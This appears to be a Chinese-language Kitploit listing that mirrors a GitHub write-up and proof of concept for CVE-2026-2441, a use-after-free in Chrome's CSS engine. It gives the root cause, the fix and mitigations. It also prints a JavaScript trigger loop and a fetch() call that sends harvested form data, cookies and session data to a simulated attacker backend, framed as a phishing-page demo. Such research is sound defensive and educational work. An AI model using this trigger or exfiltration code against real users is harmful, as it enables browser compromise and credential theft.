Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-2441 — 针对CVE-2026-2441的详细概念验证与技术分析,该漏洞是Chrome CSS中的释放后使用漏洞,可通过精心构造的HTML页面在沙盒渲染器中实现远程代码执行(RCE)。 | Kitploit
工具/GitHubGitHub/martinastarone/cve-2026-2441
漏洞分析漏洞利用Web应用程序漏洞利用钓鱼攻击恶意软件分析渗透测试命令与控制学习与教育红队Payload 开发二进制利用
GitHub
53个月前尚未审核
martinastarone/cve-2026-2441

CVE-2026-2441

针对CVE-2026-2441的详细概念验证与技术分析,该漏洞是Chrome CSS中的释放后使用漏洞,可通过精心构造的HTML页面在沙盒渲染器中实现远程代码执行(RCE)。

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-2441 — Chrome CSSFontFeatureValuesMap 释放后使用

CVSS 8.8(高危) | 已在野外被积极利用 | 渲染器远程代码执行(沙箱内)

Google Chrome 的 Blink CSS 引擎中存在释放后使用漏洞,允许远程攻击者通过精心构造的 HTML 页面在浏览器沙箱内执行任意代码。

漏洞详情

字段值
CVECVE-2026-2441
CVSS8.8(高危)
类型释放后使用(CWE-416)
组件Blink CSS — CSSFontFeatureValuesMap
源文件third_party/blink/renderer/core/css/css_font_feature_values_map.cc
修复提交63f3cb4864c64c677cd60c76c8cb49d37d08319c
报告者Shaheen Fazim(2026-02-11)
补丁日期2026-02-13
野外利用是 — Google 确认已遭积极利用

受影响版本

平台受影响版本修复版本
Windows / macOS(稳定版)< 145.0.7632.75>= 145.0.7632.75
Linux(稳定版)< 144.0.7559.75>= 144.0.7559.75
Windows / macOS(扩展稳定版)< 144.0.7559.177>= 144.0.7559.177
基于 Chromium 的浏览器(Edge、Brave、Opera、Vivaldi)请查看厂商公告各不相同

根本原因

FontFeatureValuesMapIterationSource 存储了一个原始指针(const FontFeatureAliases* aliases_)指向内部的 FontFeatureAliases HashMap。当在迭代期间通过 set() 或 delete() 修改 map 时,HashMap 会重新哈希——分配新的存储空间并释放旧的。原始指针变成悬空指针,下一次 FetchNextItem() 调用会从已释放的内存中读取。

漏洞代码路径

root@kitploit:~
CreateIterationSource()
  → FontFeatureValuesMapIterationSource(map, aliases_)
  → aliases_ = 指向内部 HashMap 的原始指针
  → iterator_ = aliases_->begin()

FetchNextItem()
  → 读取 iterator_->key(通过 aliases_)

如果在两次迭代之间调用了 map.set() / map.delete():
  → HashMap 重新哈希(新分配,旧释放)
  → aliases_ → 悬空指针
  → iterator_ → 失效
  → 下一次 FetchNextItem() → 释放后使用

修复

root@kitploit:~
- const FontFeatureAliases* aliases_;   // 原始指针 → 重新哈希后悬空
+ const FontFeatureAliases aliases_;    // 深拷贝 → 不受重新哈希影响

修复方式是将原始指针替换为 HashMap 的深拷贝。即使原始 map 重新哈希,迭代器也会在其自身的拷贝上操作,从而防止悬空指针。

概念验证

使用方法

  1. 在存在漏洞的 Chrome 版本(< 145.0.7632.75)中打开 poc.html
  2. 页面将尝试通过三种不同方法触发 UAF

预期结果

Chrome 版本预期行为
< 145.0.7632.75(未修补)渲染器崩溃 — STATUS_ACCESS_VIOLATION(Windows)或 SIGSEGV(Linux/macOS)。Chrome 显示“无法打开此页面”错误。
>= 145.0.7632.75(已修补)无崩溃 — PoC 运行完成,所有条目正常读取。

PoC 工作原理

PoC 的设计目的是以清晰且可复现的顺序展示漏洞利用链。第一部分创建易受攻击的 Blink/CSS 对象,第二部分触发迭代器失效,最后一部分在安全的学术环境中模拟利用后的效果。

重要说明: UAF 触发是通过真实的浏览器暴露的 CSS/JavaScript API 实现的。堆泄漏和渗透仪表板是故意受控/模拟的,以避免发布武器化的 Chromium 漏洞利用。

步骤 1:创建易受攻击的 CSS 结构

有效载荷首先定义了一个 CSS @font-feature-values 规则:

root@kitploit:~
@font-feature-values VulnFont {
  @styleset {
    a0: 1; a1: 2; a2: 3; a3: 4;
    a4: 5; a5: 6; a6: 7; a7: 8;
  }
}

此规则会导致 Blink 创建一个内部的 CSSFontFeatureValuesMap。在易受攻击的实现中,对此映射的迭代是不安全的,因为迭代器保留了一个指向内部 FontFeatureAliases 存储的原始指针。

JavaScript 有效载荷稍后从样式表中获取该映射:

root@kitploit:~
const sheet = document.getElementById("uaf-style").sheet;
const rule = sheet.cssRules[0];
const map = rule && rule.styleset;

此时,攻击者控制的页面拥有一个浏览器对象的 JavaScript 句柄,其内部 C++ 实现容易受到迭代器失效攻击。

步骤 2:延迟执行 UAF 触发

触发不会立即执行。PoC 等待 800 毫秒后才运行易受攻击的序列:

root@kitploit:~
setTimeout(triggerUAF, 800);

此延迟用于演示稳定性。它允许页面和虚假的银行验证表单在内存损坏触发运行之前渲染完成。在实际的驱动下载场景中,相同的触发也可以在恶意页面加载后自动启动。

步骤 3 — 迭代器创建与并发映射修改

核心的 UAF 原语是以下循环:

root@kitploit:~
const it = map.entries();
let step = 0;

while (step < 4) {
    const res = it.next();
    if (res.done) break;

    const [key] = res.value;

    map.delete(key);
    map.set("uaf_" + step, [step, step + 1]);

    step++;
}

漏洞由以下操作顺序触发:

root@kitploit:~
1. map.entries() 创建一个遍历 CSSFontFeatureValuesMap 的迭代器。
2. 在易受攻击的 Blink 实现中,迭代器引用内部 map 存储。
3. it.next() 通过该迭代器读取下一个条目。
4. map.delete(key) 在迭代器仍然存活时修改同一个 map。
5. map.set(...) 插入一个新条目,并可能强制底层 HashMap 重新哈希。
6. 重新哈希可能会释放或移动旧的存储空间。
7. 迭代器可能仍然引用旧的存储空间。
8. 因此,下一次迭代器访问可能变成释放后使用。

步骤 4 — 受控的堆压力而非激进的堆喷射

最初的激进策略使用了更大的类似堆喷射的循环,例如在每次删除后插入数百个元素(如 512 个新条目)。这会产生更强的堆压力,并使重新分配/重用更有可能发生。

对于现场演示,这已简化为仅 4 个修改步骤:

root@kitploit:~
while (step < 4) {
    // 迭代器读取 + 删除 + 设置
}

理由具有实用性和教学性:512 个元素的喷射通常会使渲染器立即崩溃。崩溃对于证明可用性影响很有用,但它会阻止演示的其余部分展示模拟的数据窃取和攻击者仪表板。简化版本仍然展示了易受攻击的迭代器失效逻辑,同时使浏览器足够稳定以进行现场演示。

步骤 5 — 模拟堆指针泄漏

真正的武器化 UAF 漏洞利用通常需要内存泄露原语来泄漏堆或 V8 指针并绕过 ASLR。该演示未实现真正的任意内存读取。相反,它从预定义的静态范围生成一个类似堆的地址:

root@kitploit:~
const base = 0x55a000000000 + Math.floor(Math.random() * 0x200000);

heapLeak = {
  raw:  "0x" + base.toString(16).toUpperCase(),
  base: "0x" + (base & ~0xfff).toString(16).toUpperCase()
};

该值是模拟的堆泄漏:

  • 0x55a000000000 是演示使用的固定堆状起始范围。
  • Math.random() * 0x200000 添加了一个小的随机偏移量。
  • base & ~0xfff 将地址对齐到页面边界。

其目的是在攻击者仪表板上展示 ASLR 绕过泄漏的样子,而无需实现实际的内存披露漏洞利用。

步骤 6 — 渗透到本地攻击者后端

在 UAF 触发和模拟堆泄漏之后,PoC 构建一个有效载荷,其中包含收集的表单输入、浏览器驻留的会话数据、DOM 片段、UAF 状态和模拟堆泄漏。该有效载荷被发送到本地攻击者后端:

root@kitploit:~
await fetch("http://127.0.0.1:7777/collect", {
  method:  "POST",
  headers: {
    "Content-Type": "application/json",
    "X-C2-Origin": "evil-tracker-cdn.xyz"
  },
  body: JSON.stringify(payload)
});

本地后端在 POST /collect 上接收数据,将其存储在内存中,并通过服务器发送事件(GET /events)将其转发到攻击者仪表板。这模拟了真实攻击的命令与控制/渗透阶段,同时保持本地和受控。

影响

即时影响(沙箱范围内)

  • 沙箱内任意代码执行在渲染器进程中
  • 信息泄露 — 泄漏 V8 堆指针(ASLR 绕过),读取渲染器内存内容
  • 凭据窃取 — 读取 document.cookie、localStorage、sessionStorage、表单输入值
  • 会话劫持 — 窃取会话令牌,通过 fetch() / WebSocket / sendBeacon() 渗透
  • DOM 操纵 — 注入钓鱼表单,修改页面内容
  • 键盘记录 — 通过 addEventListener('keydown') 捕获所有按键

连锁影响(配合沙箱逃逸)

当与单独的沙箱逃逸漏洞结合时:

root@kitploit:~
渲染器 RCE(CVE-2026-2441)
    → Mojo IPC 利用 → 浏览器进程 RCE
        → 内核利用 → 完全系统沦陷
            → 恶意软件/勒索软件/间谍软件安装
            → 文件系统访问、横向移动、持久化

使用类似浏览器 UAF 的真实世界漏洞利用链:

  • NSO Pegasus — WebKit UAF + 沙箱逃逸 + 内核利用
  • Intellexa Predator — Chrome UAF + Android 内核利用
  • APT-28 (Fancy Bear) — Chrome 0-day + Windows LPE 链

攻击向量

此漏洞可通过驱动下载利用——无需用户交互,只需访问恶意页面即可:

  • 恶意广告 — 通过合法广告网络投放的恶意广告
  • 水坑攻击 — 攻陷目标经常访问的网站
  • 鱼叉式网络钓鱼 — 通过电子邮件或消息发送精心构造的链接

缓解措施

  1. 更新 Chrome 至 >= 145.0.7632.75(Windows/macOS)或 >= 144.0.7559.75(Linux)
  2. 更新基于 Chromium 的浏览器(Edge、Brave、Opera、Vivaldi)当厂商补丁可用时
  3. 确认站点隔离已启用(chrome://flags/#site-isolation-trial-opt-out)
  4. 监控终端中低于修复版本的 Chrome

时间线

日期事件
2026-02-11漏洞由 Shaheen Fazim 报告
2026-02-13Google 发布 Chrome 145.0.7632.75/76(Windows/macOS)、144.0.7559.75(Linux)
2026-02-13Google 确认已在野外利用
2026-02-16Vivaldi 和 Opera 发布修复

参考

  • Google Chrome Releases Blog
  • NVD — CVE-2026-2441
  • The Hacker News — Chrome Zero-Day Under Active Attack
  • Chromium Issue Tracker(受限访问)

支持

如果您觉得这项研究有用,可以考虑请我喝杯咖啡:

Buy Me A Coffee

免责声明

此概念验证仅用于教育和授权的安全研究目的。未经明确许可,针对系统使用此 PoC 是非法且不道德的。作者对任何滥用行为概不负责。

许可证

MIT

下载工具